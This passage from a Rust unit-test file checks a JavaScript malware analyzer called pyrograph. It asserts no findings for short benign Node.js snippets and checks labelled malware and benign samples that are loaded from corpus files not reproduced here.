    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_36");
}

#[test]
fn benign_clean_37() {
    let js = r#"
        // unique padding 8967
    app.listen(process.env.PORT, () => console.log('started'));
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b37.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_37");
}

#[test]
fn benign_clean_38() {
    let js = r#"
        // unique padding 1757
    const debug = process.env.DEBUG === 'true';
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b38.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_38");
}

#[test]
fn benign_clean_39() {
    let js = r#"
        // unique padding 5457
    const fs = require('fs'); fs.writeFileSync('log.txt', 'logs');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b39.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_39");
}

#[test]
fn benign_clean_40() {
    let js = r#"
        // unique padding 9889
    const port = process.env.PORT || 3000;
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b40.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_40");
}

#[test]
fn benign_clean_41() {
    let js = r#"
        // unique padding 8967
    const fs = require('fs'); const config = fs.readFileSync('config.json', 'utf8'); console.log(process.env.NODE_ENV);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b41.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_41");
}

#[test]
fn benign_clean_42() {
    let js = r#"
        // unique padding 9673
    require('http').createServer((req, res) => { res.end('OK') }).listen(process.env.PORT || 8080);
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b42.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_42");
}

#[test]
fn benign_clean_43() {
    let js = r#"
        // unique padding 1298
    if (process.env.NODE_ENV === 'production') console.log('prod');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b43.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_43");
}

#[test]
fn benign_clean_44() {
    let js = r#"
        // unique padding 7669
    const host = process.env.HOST ? process.env.HOST : 'localhost';
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b44.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_44");
}

#[test]
fn benign_clean_45() {
    let js = r#"
        // unique padding 8814
    const db = connect(process.env.DB_URL); db.query('SELECT 1');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b45.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_45");
}

#[test]
fn benign_clean_46() {
    let js = r#"
        // unique padding 7097
    const client = new AWS.S3({accessKeyId: process.env.AWS_ACCESS_KEY_ID});
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b46.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_46");
}

#[test]
fn benign_clean_47() {
    let js = r#"
        // unique padding 2697
    app.listen(process.env.PORT, () => console.log('started'));
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b47.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_47");
}

#[test]
fn benign_clean_48() {
    let js = r#"
        // unique padding 1229
    const debug = process.env.DEBUG === 'true';
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b48.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_48");
}

#[test]
fn benign_clean_49() {
    let js = r#"
        // unique padding 5508
    const fs = require('fs'); fs.writeFileSync('log.txt', 'logs');
    "#;
    let graph = pyrograph::parse::parse_js_with_labels(js, "b49.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert_eq!(findings.len(), 0, "Expected 0 findings for benign_49");
}

#[test]
fn test_js_hard_batch14_malware_0() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_0.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_0.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_0");
}

#[test]
fn test_js_hard_batch14_benign_0() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_0.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_0.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_0");
}

#[test]
fn test_js_hard_batch14_malware_1() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_1.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_1.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_1");
}

#[test]
fn test_js_hard_batch14_benign_1() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_1.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_1.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_1");
}

#[test]
fn test_js_hard_batch14_malware_2() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_2.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_2.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_2");
}

#[test]
fn test_js_hard_batch14_benign_2() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_2.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_2.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_2");
}

#[test]
fn test_js_hard_batch14_malware_3() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_3.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_3.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_3");
}

#[test]
fn test_js_hard_batch14_benign_3() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_3.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_3.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_3");
}

#[test]
fn test_js_hard_batch14_malware_4() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_4.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_4.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_4");
}

#[test]
fn test_js_hard_batch14_benign_4() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_4.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_4.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_4");
}

#[test]
fn test_js_hard_batch14_malware_5() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_5.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_5.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_5");
}

#[test]
fn test_js_hard_batch14_benign_5() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_5.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_5.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_5");
}

#[test]
fn test_js_hard_batch14_malware_6() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_6.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_6.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_6");
}

#[test]
fn test_js_hard_batch14_benign_6() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_6.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_6.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_6");
}

#[test]
fn test_js_hard_batch14_malware_7() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_7.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_7.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_7");
}

#[test]
fn test_js_hard_batch14_benign_7() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_7.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_7.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_7");
}

#[test]
fn test_js_hard_batch14_malware_8() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_8.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_8.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_8");
}

#[test]
fn test_js_hard_batch14_benign_8() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_8.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_8.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_8");
}

#[test]
fn test_js_hard_batch14_malware_9() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_9.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_9.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_9");
}

#[test]
fn test_js_hard_batch14_benign_9() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_9.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_9.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_9");
}

#[test]
fn test_js_hard_batch14_malware_10() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_10.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_10.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_10");
}

#[test]
fn test_js_hard_batch14_benign_10() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_10.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_10.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_10");
}

#[test]
fn test_js_hard_batch14_malware_11() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_11.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_11.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_11");
}

#[test]
fn test_js_hard_batch14_benign_11() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_11.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_11.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_11");
}

#[test]
fn test_js_hard_batch14_malware_12() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_12.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_12.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_12");
}

#[test]
fn test_js_hard_batch14_benign_12() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_12.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_12.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_12");
}

#[test]
fn test_js_hard_batch14_malware_13() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_13.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_13.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_13");
}

#[test]
fn test_js_hard_batch14_benign_13() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_13.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_13.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_13");
}

#[test]
fn test_js_hard_batch14_malware_14() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_14.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_14.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_14");
}

#[test]
fn test_js_hard_batch14_benign_14() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_14.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_14.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_14");
}

#[test]
fn test_js_hard_batch14_malware_15() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_15.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_15.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_15");
}

#[test]
fn test_js_hard_batch14_benign_15() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_15.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_15.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_15");
}

#[test]
fn test_js_hard_batch14_malware_16() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_16.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_16.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_16");
}

#[test]
fn test_js_hard_batch14_benign_16() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_16.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_16.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_16");
}

#[test]
fn test_js_hard_batch14_malware_17() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_17.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_17.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_17");
}

#[test]
fn test_js_hard_batch14_benign_17() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_17.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_17.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_17");
}

#[test]
fn test_js_hard_batch14_malware_18() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_18.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_18.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_18");
}

#[test]
fn test_js_hard_batch14_benign_18() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_18.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_18.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_18");
}

#[test]
fn test_js_hard_batch14_malware_19() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_19.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_19.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_19");
}

#[test]
fn test_js_hard_batch14_benign_19() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_19.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_19.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_19");
}

#[test]
fn test_js_hard_batch14_malware_20() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_20.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_20.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_20");
}

#[test]
fn test_js_hard_batch14_benign_20() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_20.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_20.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_20");
}

#[test]
fn test_js_hard_batch14_malware_21() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_21.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_21.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_21");
}

#[test]
fn test_js_hard_batch14_benign_21() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_21.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_21.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_21");
}

#[test]
fn test_js_hard_batch14_malware_22() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_22.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_22.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_22");
}

#[test]
fn test_js_hard_batch14_benign_22() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_22.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_22.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_22");
}

#[test]
fn test_js_hard_batch14_malware_23() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_23.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_23.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_23");
}

#[test]
fn test_js_hard_batch14_benign_23() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_23.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_23.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_23");
}

#[test]
fn test_js_hard_batch14_malware_24() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_24.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_24.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_24");
}

#[test]
fn test_js_hard_batch14_benign_24() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_24.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_24.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_24");
}

#[test]
fn test_js_hard_batch14_malware_25() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_25.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_25.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_25");
}

#[test]
fn test_js_hard_batch14_benign_25() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_25.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_25.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_25");
}

#[test]
fn test_js_hard_batch14_malware_26() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_26.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_26.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_26");
}

#[test]
fn test_js_hard_batch14_benign_26() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_26.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_26.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_26");
}

#[test]
fn test_js_hard_batch14_malware_27() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_27.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_27.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_27");
}

#[test]
fn test_js_hard_batch14_benign_27() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_27.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_27.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_27");
}

#[test]
fn test_js_hard_batch14_malware_28() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_28.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_28.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_28");
}

#[test]
fn test_js_hard_batch14_benign_28() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_28.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_28.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_28");
}

#[test]
fn test_js_hard_batch14_malware_29() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_29.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_29.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_29");
}

#[test]
fn test_js_hard_batch14_benign_29() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_29.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_29.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_29");
}

#[test]
fn test_js_hard_batch14_malware_30() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_30.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_30.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_30");
}

#[test]
fn test_js_hard_batch14_benign_30() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_30.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_30.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_30");
}

#[test]
fn test_js_hard_batch14_malware_31() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_31.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_31.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_31");
}

#[test]
fn test_js_hard_batch14_benign_31() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_31.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_31.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_31");
}

#[test]
fn test_js_hard_batch14_malware_32() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_32.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_32.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_32");
}

#[test]
fn test_js_hard_batch14_benign_32() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_32.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_32.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_32");
}

#[test]
fn test_js_hard_batch14_malware_33() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_33.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_33.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_33");
}

#[test]
fn test_js_hard_batch14_benign_33() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_33.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_33.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_33");
}

#[test]
fn test_js_hard_batch14_malware_34() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_34.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_34.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_34");
}

#[test]
fn test_js_hard_batch14_benign_34() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_34.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_34.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_34");
}

#[test]
fn test_js_hard_batch14_malware_35() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_35.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_35.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_35");
}

#[test]
fn test_js_hard_batch14_benign_35() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_35.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_35.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_35");
}

#[test]
fn test_js_hard_batch14_malware_36() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_36.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_36.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_36");
}

#[test]
fn test_js_hard_batch14_benign_36() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_36.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_36.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_36");
}

#[test]
fn test_js_hard_batch14_malware_37() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_37.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_37.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_37");
}

#[test]
fn test_js_hard_batch14_benign_37() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_37.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_37.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(findings.is_empty(), "Expected no findings for benign hard_batch14_37");
}

#[test]
fn test_js_hard_batch14_malware_38() {
    let src = include_str!("../../corpus/js/malware/hard_batch14_38.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_38.js", None).unwrap();
    let findings = pyrograph::analyze(&graph).unwrap();
    assert!(!findings.is_empty(), "Expected findings for malware hard_batch14_38");
}

#[test]
fn test_js_hard_batch14_benign_38() {
    let src = include_str!("../../corpus/js/benign/hard_batch14_38.js");
    let graph = pyrograph::parse::parse_js_with_labels(src, "hard_batch14_38.js", None).unwrap();
